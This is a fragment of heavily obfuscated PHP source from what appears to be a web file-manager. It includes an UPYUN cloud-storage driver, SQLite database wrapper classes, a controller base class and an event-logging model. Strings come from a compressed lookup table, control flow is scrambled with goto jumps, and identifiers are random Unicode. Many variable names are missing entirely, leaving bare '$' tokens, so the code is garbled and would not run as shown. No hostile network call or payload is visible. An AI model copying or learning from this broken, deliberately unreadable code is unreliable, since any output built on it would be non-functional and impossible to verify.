$؄ = $в[221]; $詯ø = $в[8] . $this->pathEncode($) . $[$в[167]]; $ʖڧ = $this->client->__getSignatureV4($ߌ, $ҋ, $؄, $詯ø, $ԑۼ); return array($в[229] => $ʖڧ[$в[229]], $в[219] => $ʖڧ[$в[1432]], $в[231] => $, $в[1429] => $ʖڧ[$в[1429]]); } public function link($, $س = array()) { return parent::link($, $س); } public function fileOut($, $ԫ = false, $߯ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1437])) { return parent::fileOutServer($, $ԫ, $߯, $); } parent::fileOut($, $ԫ, $߯, $); } public function fileOutImage($, $½ = 250) { if (strstr($this->endpoint, $_SERVER[][1437])) { return parent::fileOutImageServer($, $½); } parent::fileOutImage($, $½); } public function fileOutLink($ɢ) { $ =& $_SERVER[]; if (substr($ɢ, 0, 7) == $[1310]) { $ɢ = $[1311] . substr($ɢ, 7); } header($[158] . $ɢ); die; } public function getHost() { $ =& $_SERVER[]; $ë = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ë = explode($[176], $ë); return $ë[0] . $[176] . $this->bucket . $[10] . $ë[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($߉ۄ, $ͦ = 0) { parent::__construct(); $this->source = $߉ۄ; $this->sourceSize = $ͦ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($΢ = false) { return $this->sourceSize; } public function getContent($޼˵ = false) { return $this->fileSubstr($޼˵, 0, $this->sourceSize); } public function fileSubstr($؝ = false, $ᓓ = 0, $Ұ = 0) { if (!$Ұ) { $Ұ = $this->sourceSize; } $֕ = $this->sourceSize - $ᓓ; if ($Ұ >= $֕) { $Ұ = $֕; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ᓓ, $Ұ); } if ($this->sourceType == self::TYPE_FILE) { if ($Ұ <= 0) { return $_SERVER[][12]; } $ܐ = ftell($this->source); fseek_64($this->source, $ܐ + $ᓓ); $潇 = @fread($this->source, $Ұ); fseek_64($this->source, $ܐ); return $潇; } } public function hashMd5($Ք = false) { return md5($this->getContent()); } public static function hash($Ξ, $î = 0) { $ = new PathDriverStream($Ξ, $î); return $->hashSimple($Ξ); } public static function md5($͌, $ե = 0) { $ؿ = new PathDriverStream($͌, $ե); return $ؿ->hashMd5($͌); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\164\160\72\x2f\57\x76\60\x2e\141\160\x69\x2e\165\x70\171\165\156\56\x63\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ۊŽ) { parent::__construct(); $this->_init($ۊŽ); } public function _init($˿) { $ͺ =& $_SERVER[]; foreach ($˿ as $ => $긾) { if (isset($this->{$})) { $this->{$} = $긾; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ͺ[1438] . LNG($ͺ[1369])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($蛭, $ = "\107\105\124") { $ =& $_SERVER[]; $ע = gmdate($[1402]); $⟕ވ = base64_encode(hash_hmac($[1439], "{$}\x26{$蛭}\46{$ע}", md5("{$this->userpass}"), !0)); $ = array("\x41\x75\x74\150\157\162\x69\172\x61\164\151\157\156\x3a\125\120\131\x55\116\40{$this->username}\x3a{$⟕ވ}", "\104\141\x74\145\x3a{$ע}"); return $; } public function ussRequest($Ջߛ, $̫ = "\x47\x45\124", $˨ = false, $ = false, $ = false) { $ =& $_SERVER[]; $Ջߛ = trim($Ջߛ, $[8]); $ҠË = "\x2f{$this->bucket}\57{$Ջߛ}"; $ = $this->ussHeaders($ҠË, $̫); if ($) { $ = array_merge($, $); } $↜ = url_request($this->endpoint . $ҠË, $̫, $˨, $, $); if (!$↜) { return array($[1176] => !1, $[1178] => $[1440]); } if (strtolower($̫) == $[189] || in_array($↜[$[1176]], array($[1295], $[1441]))) { $˨ = $↜[$[1442]]; } else { $˨ = json_decode($↜[$[1178]], !0); if (!$˨) { $˨ = $↜[$[1178]]; } else { if (!$↜[$[743]] && isset($˨[$[1443]])) { $˨ = $˨[$[1443]]; } } } return array($[1176] => $↜[$[743]], $[1178] => $˨); } public function mkfile($, $ = '', $֡ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ֱ = trim($, $[8]); if ($this->_isFolder($ֱ)) { return $this->getPathOuter($ֱ); } $Χ = array($[1444]); $͏ = $this->ussRequest($ֱ, $[221], !1, $Χ); return $͏[$[1176]] ? $this->getPathOuter($ֱ) : !1; } public function copyFile($, $ϫ) { $ͺ =& $_SERVER[]; $λ = array($ͺ[1445] . "\57{$this->bucket}\57{$}", $ͺ[1446]); $ = $this->ussRequest($ϫ, $ͺ[223], !1, $λ); return $[$ͺ[1176]] ? !0 : $this->getPathOuter($ϫ); } public function moveFile($, $΄) { $ =& $_SERVER[]; $ = array($[1447] . "\x2f{$this->bucket}\x2f{$}", $[1446]); $ߣ = $this->ussRequest($΄, $[223], !1, $); return $ߣ[$[1176]] ? !0 : $this->getPathOuter($΄); } public function delFile($꺀) { $ږ =& $_SERVER[]; $Ꞧ = $this->ussRequest($꺀, $ږ[1448]); return $Ꞧ[$ږ[1176]] ? !0 : !1; } public function delFolder($ü) { $ =& $_SERVER[]; if (!$this->exist($ü)) { return !0; } $this->listItemCache = !1; $ꀴ = $̢ = array(); $this->fileList($ü, $ꀴ, $̢, !0); $this->listItemCache = !0; foreach ($̢ as $) { $Է = $this->ussRequest($[$[32]], $[1448]); if (!$Է[$[1176]]) { return !1; } } foreach ($ꀴ as $佶) { $Է = $this->ussRequest($佶, $[1448]); if (!$Է[$[1176]]) { return !1; } } $Է = $this->ussRequest($ü, $[1448]); return $Է[$[1176]]; } public function rename($Ͻ, $͈) { if ($this->isFile($Ͻ)) { $͈ = get_path_father($Ͻ) . $͈; return $this->moveFile($Ͻ, $͈); } return $this->renameObject($Ͻ, $͈); } public function fileInfo($, $ʵ׍ = false, $د = array()) { $ǔ =& $_SERVER[]; $ = array($ǔ[32] => $this->pathThis($), $ǔ[78] => $this->getPathOuter($ǔ[8] . $), $ǔ[33] => $ǔ[192], $ǔ[80] => isset($د[$ǔ[80]]) ? $د[$ǔ[80]] : 0, $ǔ[167] => $this->ext($)); if ($ʵ׍) { return $; } $[$ǔ[193]] = $[$ǔ[86]] = 0; $[$ǔ[194]] = $[$ǔ[195]] = !0; if (empty($د)) { $د = $this->objectMeta($); if (!$د) { return $; } } $[$ǔ[193]] = intval($د[$ǔ[1449]]); $[$ǔ[86]] = intval($د[$ǔ[1450]]); $[$ǔ[80]] = $د[$ǔ[80]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[79]); if ($) { return $; } $[$[193]] = $[$[86]] = 0; $[$[194]] = $[$[195]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[193]] = intval($[$[1449]]); $[$[86]] = intval($[$[1450]]); return $; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $Σĝ = array($[1451], $[1452] . $); if ($) { $Σĝ[] = $[1453] . $; } $ȵ = $this->ussRequest($, $[225], !1, $Σĝ); return !$ȵ[$[1176]] ? !1 : $ȵ[$[1178]]; } private function fileList($З, &$ۍ, &$Đ, $ز = false) { $ =& $_SERVER[]; $ = $[12]; $͠ = 1000; $ہг = rtrim($З, $[8]) . $[8]; $ߗ = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $ = $this->listObjs($З, $, $͠); if (!$) { return !1; } $ = isset($[$[1454]]) ? $[$[1454]] : $[12]; $̒ = isset($[$[1455]]) ? $[$[1455]] : array(); foreach ($̒ as $㙪̀) { $Ȓޣ = $㙪̀[$[33]] == $[79] ? !0 : !1; $ = ltrim($ہг . $㙪̀[$[32]], $[8]) . ($Ȓޣ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $Ȓޣ ? $[79] : $[192], $[80] => $㙪̀[$[332]], $[1450] => $㙪̀[$[1456]]); if ($ߗ) { $this->cacheMethod($[198], $, $Ȓޣ); $this->cacheMethod($[199], $, $); } if ($Ȓޣ) { $ۍ[] = $; if ($ز) { $this->fileList($, $ۍ, $Đ, $ز); } continue; } $Đ[] = $; } if (count($̒) < $͠) { break; } } if ($ߗ) { $this->cacheMethod($[198], $З, !0); } } public function listPath($, $԰ = false) { $׽ =& $_SERVER[]; $ߎ = $ = array(); $this->fileList($, $ߎ, $); foreach ($ߎ as $ => $،) { $ߎ[$] = $this->folderInfo($،, $԰); } foreach ($ as $ => $،) { $[$] = $this->fileInfo($،[$׽[32]], $԰, $،); } return array($׽[77] => $ߎ, $׽[76] => $); } public function has($ڮ, $Ԃǒ = false, $ = true) { $ıÄ =& $_SERVER[]; $ʹ = $ıÄ[12]; $ئ = 500; $ჱ = 0; $ = 0; $ = rtrim($ڮ, $ıÄ[8]) . $ıÄ[8]; while (!0) { check_abort(); $ޓ = $this->listObjs($ڮ, $ʹ, $ئ); if (!$ޓ) { return !1; } $ʹ = isset($ޓ[$ıÄ[1454]]) ? $ޓ[$ıÄ[1454]] : $ıÄ[12]; $ = isset($ޓ[$ıÄ[1455]]) ? $ޓ[$ıÄ[1455]] : array(); if (empty($)) { break; } $ᝩ = array_filter($, function ($) { $˅ =& $_SERVER[]; return $[$˅[33]] == $˅[79]; }); $ڸۉ = count($); $ᝩ = count($ᝩ); $ = $ڸۉ - $ᝩ; if ($Ԃǒ) { $ += $ᝩ; $ჱ += $; if ($ڸۉ < $ئ) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($ᝩ) { return !0; } } if ($ڸۉ < $ئ) { break; } } if ($Ԃǒ) { return array($ıÄ[202] => $ჱ, $ıÄ[203] => $); } return !1; } public function listAll($ɛה) { $ =& $_SERVER[]; $ = $Ӡ = array(); $this->fileList($ɛה, $, $Ӡ, !0); $ = array(); foreach ($Ӡ as $ʮ) { $[$ʮ[$[32]]] = $ʮ[$[80]]; } foreach ($ as $ʮ) { if (is_string($ʮ)) { $[$ʮ] = 0; } } return $this->listAllFiles($ɛה, array_keys($), $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($ܸ) { return $this->exist($ܸ) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ا, $ = '') { $Ո =& $_SERVER[]; if (!$) { $Ą = $this->ussRequest($ا, $Ո[221]); return $Ą[$Ո[1176]]; } $נ = $this->tempFile($this->pathThis($ا)); file_put_contents($נ, $); if ($this->upload($ا, $נ)) { $this->tempFileRemve($נ); return !0; } return !1; } public function fileSubstr($Րе, $Ň, $Ϻ) { $ۭ =& $_SERVER[]; if (!($갧 = $this->link($Րе))) { return !1; } $ = !1; if ($Ϻ > 0) { $ = $Ň + $Ϻ - 1; $ = array($ۭ[1417] . $Ň . $ۭ[460] . $); } $΀ = url_request($갧, $ۭ[225], !1, $); return $΀[$ۭ[743]] ? $΀[$ۭ[1178]] : !1; } public function upload($駤, $Ɂ, $ۍ = false, $٢ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($Ɂ); if ($ <= 1024 * 1024 * 200) { $ȭ = array($[1457] . $Ɂ); $ȥ = $this->ussRequest($駤, $[223], $ȭ); return $ȥ[$[1176]] ? $this->getPathOuter($駤) : !1; } $ = 1024 * 1024 * 10; $ҧ = array($[1458], $[1459] . $, $[1460], $[1461] . $); $ȥ = $this->ussRequest($駤, $[223], !1, $ҧ); if (!$ȥ[$[1176]]) { return !1; } $팚 = $ȥ[$[1178]]; $ = 0; $ = $팚[$[1462]]; $꛶ = fopen($Ɂ, $[1366]); if (!$꛶) { return !1; } do { $Ν = $팚[$[1463]]; fseek_64($꛶, $); $ = fread($꛶, $Ν); $ą = 0; do { $ą++; $팚 = $this->uploadPart($駤, $팚, $); } while (!$팚 && $ą < 3); if (!$팚) { return !1; } $ = $팚[$[1462]]; $ += $Ν; } while ($ != -1); fclose($꛶); $ҧ = array($[1464], $[1465] . $팚[$[1466]], $[1460]); $ȥ = $this->ussRequest($駤, $[223], !1, $ҧ); return $ȥ[$[1176]] ? $this->getPathOuter($߆) : !1; } private function uploadPart($, $ɡ, &$) { $ =& $_SERVER[]; $䱻 = array($[1467], $[1465] . $ɡ[$[1466]], $[1468] . $ɡ[$[1462]], $[139] . $ɡ[$[1463]]); $댇 = $this->ussRequest($, $[223], $, $䱻); return !$댇[$[1176]] ? $댇[$[1176]] : $댇[$[1178]]; } public function uploadFormData($, $كٗ = 3600) { return $this->uploadPolicy($, $كٗ); } public function multiUploadFormData($, $ؘʏ = 3600) { $ҁ =& $_SERVER[]; $Ж = (int) $GLOBALS[$ҁ[7]][$ҁ[80]]; return $this->uploadPolicy($, $ؘʏ, $Ж); } private function uploadPolicy($, $ = 3600, $ɳ = 0) { $Ю =& $_SERVER[]; $ߴ = $Ю[8] . $this->bucket; $Հϸ = gmdate($Ю[1402]); $ = array($Ю[1469] => $this->bucket, $Ю[1470] => $, $Ю[1471] => time() + $, $Ю[1472] => $Հϸ); if ($ɳ) { $[$Ю[1382]] = $ɳ; } $ = base64_encode(json_encode($)); $ڡ = base64_encode(hash_hmac($Ю[1439], "\120\x4f\123\x54\46{$ߴ}\x26{$Հϸ}\x26{$}", md5("{$this->userpass}"), !0)); $ = array($Ю[1307] => $, $Ю[1473] => "\x55\x50\x59\x55\x4e\x20{$this->username}\x3a{$ڡ}", $Ю[174] => $this->endpoint . $ߴ); return $; } public function download($߶Ӧ, $) { $껸 = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($߶Ӧ))) { return !1; } $Դ = 0; $ߴ = 1024 * 200; $ = fopen($껸, $_SERVER[][1423]); while (!0) { $ = $this->fileSubstr($߶Ӧ, $Դ, $ߴ); if ($ === !1) { return !1; } fwrite($, $); $Դ += $ߴ; if (strlen($) < $ߴ) { break; } } fclose($); return $; } public function link($׀, $î = array()) { $ǔ =& $_SERVER[]; $׀ = trim($׀, $ǔ[8]); if (!empty($this->token)) { $ = strtotime(date($ǔ[1474])); $ = substr(md5($this->token . $ǔ[279] . $ . $ǔ[1475] . $׀), 12, 8) . $; $î[] = $ǔ[1476] . $; } $ޒ = !empty($î) ? $ǔ[73] . implode($ǔ[279], $î) : $ǔ[12]; return $this->getHost() . $ǔ[8] . $׀ . $ޒ; } public function fileOut($ , $ = false, $߭ = false, $钲 = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ , $, $߭, $钲); } if (!$߭) { $߭ = $this->pathThis($ ); } $񥡙 = $ ? array($_SERVER[][1477] . rawurlencode($߭)) : array(); $ = $this->link($ , $񥡙); $this->fileOutLink($); } public function fileOutServer($ג, $ = false, $ôԴ = false, $ = '') { parent::fileOut($ג, $, $ôԴ, $); } public function fileOutImage($ϐІ, $ = 250) { $ = $this->link($ϐІ . $_SERVER[][1478] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ޞ) { $ =& $_SERVER[]; $Й = $this->_objectMeta($ޞ); return isset($Й[$[207]]) ? $Й[$[207]] : !1; } public function size($) { $ޜ = $this->objectMeta($); return $ޜ ? $ޜ[$_SERVER[][80]] : 0; } public function info($Ů٪) { if ($this->isFolder($Ů٪)) { return $this->folderInfo($Ů٪); } else { if ($this->isFile($Ů٪)) { return $this->fileInfo($Ů٪); } } return !1; } public function exist($ҰÕƪ) { return $this->isFile($ҰÕƪ) || $this->isFolder($ҰÕƪ); } public function isFile($ᑸ) { return !$this->isFolder($ᑸ) && $this->objectMeta($ᑸ); } public function isFolder($ј) { return $this->cacheMethod($_SERVER[][198], $ј); } protected function objectMeta($圃) { return $this->cacheMethod($_SERVER[][199], $圃); } protected function _objectMeta($ä) { $‐ =& $_SERVER[]; if ($ä == $‐[12] || $ä == $‐[8]) { return array(); } $ՠ = $this->ussRequest($ä, $‐[1479]); if (!$ՠ[$‐[1176]]) { return null; } $ߙÜ = isset($ՠ[$‐[1178]]) ? $ՠ[$‐[1178]] : array(); if (!isset($ߙÜ[$‐[1480]])) { return null; } $ = array($‐[33] => isset($ߙÜ[$‐[1480]]) ? $ߙÜ[$‐[1480]] : null, $‐[80] => isset($ߙÜ[$‐[1481]]) ? $ߙÜ[$‐[1481]] : null, $‐[207] => isset($ߙÜ[$‐[1482]]) ? $ߙÜ[$‐[1482]] : null, $‐[1449] => isset($ߙÜ[$‐[1483]]) ? $ߙÜ[$‐[1483]] : null); $[$‐[1450]] = isset($ߙÜ[$‐[1484]]) ? strtotime($ߙÜ[$‐[1484]]) : $[$‐[1449]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $Ɉ = $this->_objectMeta($); return isset($Ɉ[$[33]]) && $Ɉ[$[33]] == $[79] ? !0 : !1; } } goto Cȅ; e҂: define($_SERVER[][236], 1); define($_SERVER[][237], 0); define($_SERVER[][238], 2); goto d; b֌: define($_SERVER[][233], 1); define($_SERVER[][234], 2); define($_SERVER[][235], 3); goto e҂; c: while (strlen($ibtuezfqxr) < $_SERVER[][607]) { if (!$ibtuezfqxr) { break; } $ibtuezfqxr++; } $_SERVER[⼦] = explode($_SERVER[][608], gzinflate(substr($_SERVER[][609], 10, -8))); $qtxmvhlzas = $_SERVER[][610]; goto Fڝ΍; d: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ʼn =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$ʼn[6]] =& $config; $this->values[$ʼn[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ʼn[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($׸) { if (1 === func_num_args()) { $this->{$׸} = new $׸(); } else { $ = new ReflectionClass($׸); $گ = func_get_args(); array_shift($گ); $this->{$׸} = $->newInstanceArgs($گ); } return $this->{$׸}; } public function routeBind($υ, $, $܄ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $υ = str_replace($[10], $[11], trim(trim($υ, $[8]), $[12])); if (!$υ || count($) <= $܄) { return !1; } $ = !0; $ = explode($[8], $υ); for ($ٮ = 0; $ٮ < count($); $ٮ++) { if ($[$ٮ] != $[$܄ + $ٮ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($Ļ = 3) { $议 = $this->in[$_SERVER[][9]]; if (count($议) <= $Ļ) { return array(); } $ = array(); for ($Ҋ = $Ļ; $Ҋ < count($议); $Ҋ += 2) { $[$议[$Ҋ]] = $议[$Ҋ + 1]; $this->in[$议[$Ҋ]] = $议[$Ҋ + 1]; } return $; } protected function assign($, $ӑ) { $this->values[$] = $ӑ; } protected function display($쉷胏) { ob_end_clean(); extract($this->values); require $this->tpl . $쉷胏; } } class DbSqliteBase extends Db { public function __construct($ = '') { $߬ =& $_SERVER[]; if (!extension_loaded($߬[13])) { think_exception(think_lang($߬[14]) . $߬[15]); } if (!empty($)) { if (!isset($[$߬[16]])) { $[$߬[16]] = 438; } $this->config = $; if (empty($this->config[$߬[17]])) { $this->config[$߬[17]] = array(); } } } public function connect($㭄 = '', $Ɏ = 0) { $뚅 =& $_SERVER[]; if (!isset($this->linkID[$Ɏ])) { if (empty($㭄)) { $㭄 = $this->config; } $ = !empty($㭄[$뚅[17]][$뚅[18]]) ? $㭄[$뚅[17]][$뚅[18]] : $this->pconnect; $َ؆ = $ ? $뚅[19] : $뚅[20]; $this->linkID[$Ɏ] = $َ؆($㭄[$뚅[21]], $㭄[$뚅[16]]); if (!$this->linkID[$Ɏ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$Ɏ], 30000); if (1 != think_config($뚅[22])) { unset($this->config); } } return $this->linkID[$Ɏ]; } public function free() { $this->queryID = null; } public function query($Ț) { $ڽ߼ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ț; if ($this->queryID) { $this->free(); } think_action_status($ڽ߼[23], 1); think_status($ڽ߼[24]); $this->queryID = sqlite_query($this->_linkID, $Ț); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ߙ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $ߙ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ϡ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$ϡ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ۇ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$ۇ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $紁 = array(); if ($this->numRows > 0) { for ($Ӏ = 0; $Ӏ < $this->numRows; $Ӏ++) { $紁[$Ӏ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $紁; } public function getFields($Ɉϑ) { $ =& $_SERVER[]; $ = $this->query($[29] . $Ɉϑ . $[30]); $ѫ = array(); if ($) { foreach ($ as $ => $̤߀) { $ѫ[$̤߀[$[31]]] = array($[32] => $̤߀[$[31]], $[33] => $̤߀[$[34]], $[35] => (bool) ($̤߀[$[36]] === $[12]), $[37] => $̤߀[$[38]], $[39] => strtolower($̤߀[$[40]]) == $[41], $[42] => strtolower($̤߀[$[43]]) == $[44]); } } return $ѫ; } public function getTables($ = '') { $ =& $_SERVER[]; $ʇ = $this->query($[45] . $[46] . $[47]); $թ = array(); foreach ($ʇ as $Ո => $ˇ) { $թ[$Ո] = current($ˇ); } return $թ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ҿ =& $_SERVER[]; $ӝ = sqlite_last_error($this->_linkID); $this->error = $ӝ . $ҿ[4] . sqlite_error_string($ӝ); if ($ҿ[12] != $this->queryStr) { $this->error .= LNG($ҿ[48]) . $this->queryStr; } think_trace($this->error, $ҿ[12], $ҿ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ް =& $_SERVER[]; $֙ = $ް[12]; if (!empty($)) { $ = explode($ް[50], $); if (count($) > 1) { $֙ .= $ް[51] . $[1] . $ް[52] . $[0] . $ް[53]; } else { $֙ .= $ް[51] . $[0] . $ް[53]; } } return $֙; } } class DbSqlite3Base extends Db { public function __construct($鱼 = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($鱼)) { if (!isset($鱼[$[16]])) { $鱼[$[16]] = 438; } $this->config = $鱼; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ʁ = 0) { $л =& $_SERVER[]; if (!isset($this->linkID[$ʁ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ʁ] = new SQLite3($[$л[21]]); if (!$this->linkID[$ʁ]) { think_exception($this->linkID[$ʁ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ʁ]->busyTimeout(30000); if (1 != think_config($л[22])) { unset($this->config); } } return $this->linkID[$ʁ]; } public function free() { $this->queryID = null; } public function query($¦) { $햋 =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $¦; if ($this->queryID) { $this->free(); } think_action_status($햋[23], 1); think_status($햋[24]); $this->queryID = $this->_linkID->query($¦); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ߟ = $this->getAll(); $this->numRows = count($ߟ); return $ߟ; } } public function execute($) { $䰠 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($䰠[25], 1); think_status($䰠[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ҍ = $this->_linkID->query($_SERVER[][28]); if (!$ҍ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ک = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $ک; } $this->queryID->reset(); return $; } public function getFields($) { $ =& $_SERVER[]; $٩ = $this->query($[29] . $ . $[30]); $ȃ = array(); if ($٩) { foreach ($٩ as $ => $ԛ) { $ȃ[$ԛ[$[32]]] = array($[32] => $ԛ[$[32]], $[33] => $ԛ[$[33]], $[35] => (bool) ($ԛ[$[35]] === $[12]), $[37] => $ԛ[$[56]], $[39] => (bool) $ԛ[$[57]], $[42] => (bool) $ԛ[$[57]]); } } return $ȃ; } public function getTables($ك = '') { $ =& $_SERVER[]; $Ǭ = $this->query($[45] . $[46] . $[47]); $د = array(); foreach ($Ǭ as $ұڴ => $) { $د[$ұڴ] = current($); } return $د; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $͌ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($͌[12] != $this->queryStr) { $this->error .= LNG($͌[48]) . $this->queryStr; } think_trace($this->error, $͌[12], $͌[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($ͳ) { $ =& $_SERVER[]; $ˇǮ = $[12]; if (!empty($ͳ)) { $ͳ = explode($[50], $ͳ); if (count($ͳ) > 1) { $ˇǮ .= $[51] . $ͳ[1] . $[52] . $ͳ[0] . $[53]; } else { $ˇǮ .= $[51] . $ͳ[0] . $[53]; } } return $ˇǮ; } } goto Dى; f: class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\x72\x63\x65\137\x65\166\145\x6e\x74"; protected $dataAuto = array(array("\x63\162\x65\x61\164\145\x54\151\155\x65", "\164\x69\155\x65", "\x69\x6e\x73\145\162\164", "\x66\165\156\x63\164\x69\x6f\156"), array("\144\145\163\143", '', "\151\x6e\163\x65\x72\164\x2c\x75\x70\x64\x61\164\x65\54\x73\x65\x6c\x65\143\x74", "\x6a\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $ۀ, $ = '') { $乴 =& $_SERVER[]; if (!$this->eventSave) { return; } $֛ = Model($乴[1312])->sourceInfo($); if (!$֛) { return !1; } if ($this->isCacheEvent($֛, $ۀ)) { return; } if ($ && is_string($)) { $ = array($乴[1848] => $); } $ӀԵ = array($乴[418] => $, $乴[2022] => $֛[$乴[498]], $乴[2023] => $֛[$乴[32]], $乴[519] => !empty($֛[$乴[519]]) ? $֛[$乴[519]] : $乴[12], $乴[1633] => USER_ID, $乴[423] => $ۀ, $乴[1635] => $); $this->addSystemLog($ۀ, $ӀԵ); unset($ӀԵ[$乴[2023]], $ӀԵ[$乴[519]]); return $this->add($ӀԵ); } private function addSystemLog($׭ĉ, $ʹ) { $ړ =& $_SERVER[]; if ($׭ĉ == $ړ[2024]) { $׭ĉ = $ʹ[$ړ[451]][$ړ[2025]]; } else { if (in_array($׭ĉ, array($ړ[1790], $ړ[2026]))) { $׭ĉ = $ʹ[$ړ[451]][$ړ[748]]; } } $ = array_merge($ʹ, array($ړ[2027] => $ʹ[$ړ[403]], $ړ[2028] => $ʹ[$ړ[2028]])); Hook::trigger($ړ[2029], $ړ[2030] . $׭ĉ, $ʹ); Model($ړ[1754])->addLog($ړ[2030] . $׭ĉ, $); } private function isCacheEvent($, $ٱď) { if ($[$_SERVER[][412]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $ð) { $Ó =& $_SERVER[]; $ɧ = Model($Ó[1312])->sourceInfo($); $ޥ = array($Ó[2025] => $ð, $Ó[32] => $ɧ[$Ó[32]]); return $this->addEvent($, $Ó[2024], $ޥ); } public function eventFileEdit($ݕ) { $ƚ =& $_SERVER[]; $ = array($ƚ[2031] => $_SERVER[$ƚ[2032]], $ƚ[2033] => strtolower(ACTION)); return $this->addEvent($ݕ, $ƚ[1780], $); } public function eventRecycle($ɿ, $) { return $this->addEvent($ɿ, $_SERVER[][2026], $); } public function eventRemove($) { $ԓ =& $_SERVER[]; $ = Model($ԓ[1312])->sourceInfo($); $ڞ = $[$ԓ[32]]; return $this->addEvent($[$ԓ[498]], $ԓ[1779], $ڞ); } public function eventShare($Œ, $У) { return $this->addEvent($Œ, $_SERVER[][1790], $У); } public function eventMove($, $, $) { $ =& $_SERVER[]; $𨨒 = Model($[1312]); $Ʌ = 